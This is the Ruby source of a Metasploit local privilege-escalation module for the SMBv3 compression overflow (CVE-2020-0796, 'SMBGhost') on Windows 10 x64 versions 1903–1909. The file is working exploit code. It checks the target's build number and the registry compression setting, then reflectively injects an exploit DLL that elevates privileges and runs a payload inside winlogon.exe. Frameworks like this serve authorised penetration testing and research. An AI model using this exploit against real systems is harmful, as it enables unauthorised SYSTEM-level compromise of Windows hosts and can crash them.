##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'SMBv3 Compression Buffer Overflow',
          'Description' => %q{
            A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
            execute code on a vulnerable server. This local exploit implementation leverages this flaw to elevate itself
            before injecting a payload into winlogon.exe.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Daniel García Gutiérrez', # original LPE exploit
            'Manuel Blanco Parajón', # original LPE exploit
            'Spencer McIntyre' # metasploit module
          ],
          'Arch' => [ ARCH_X86, ARCH_X64 ],
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            # [ 'Windows 10 x86', { 'Arch' => ARCH_X86 } ],
            [ 'Windows 10 v1903-1909 x64', { 'Arch' => ARCH_X64 } ]
          ],
          'Payload' => {
            'DisableNops' => true
          },
          'References' => [
            [ 'CVE', '2020-0796' ],
            [ 'URL', 'https://github.com/danigargu/CVE-2020-0796' ],
            [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005' ]
          ],
          'DisclosureDate' => '2020-03-13',
          'DefaultTarget' => 0,
          'Notes' => {
            'AKA' => [ 'SMBGhost', 'CoronaBlue' ],
            'Stability' => [ CRASH_OS_RESTARTS, ],
            'SideEffects' => [ IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION, ],
            'RelatedModules' => [ 'exploit/windows/smb/cve_2020_0796_smbghost' ]
          }
        }
      )
    )
  end

  def check
    if session.platform != 'windows'
      # Non-Windows systems are definitely not affected.
      return Exploit::CheckCode::Safe
    end

    version = get_version_info
    vprint_status("Windows Build Number = #{version.build_number}")
    # see https://docs.microsoft.com/en-us/windows/release-information/
    unless version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_1909)
      print_error('The exploit only supports Windows 10 versions 1903 - 1909')
      return CheckCode::Safe
    end

    disable_compression = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters', 'DisableCompression')
    if !disable_compression.nil? && disable_compression != 0
      print_error('The exploit requires compression to be enabled')
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
    end

    print_status('Reflectively injecting the exploit DLL and executing it...')

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0796', 'CVE-2020-0796.x64.dll'),
      [encoded_payload.length].pack('I<') + encoded_payload
    )

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end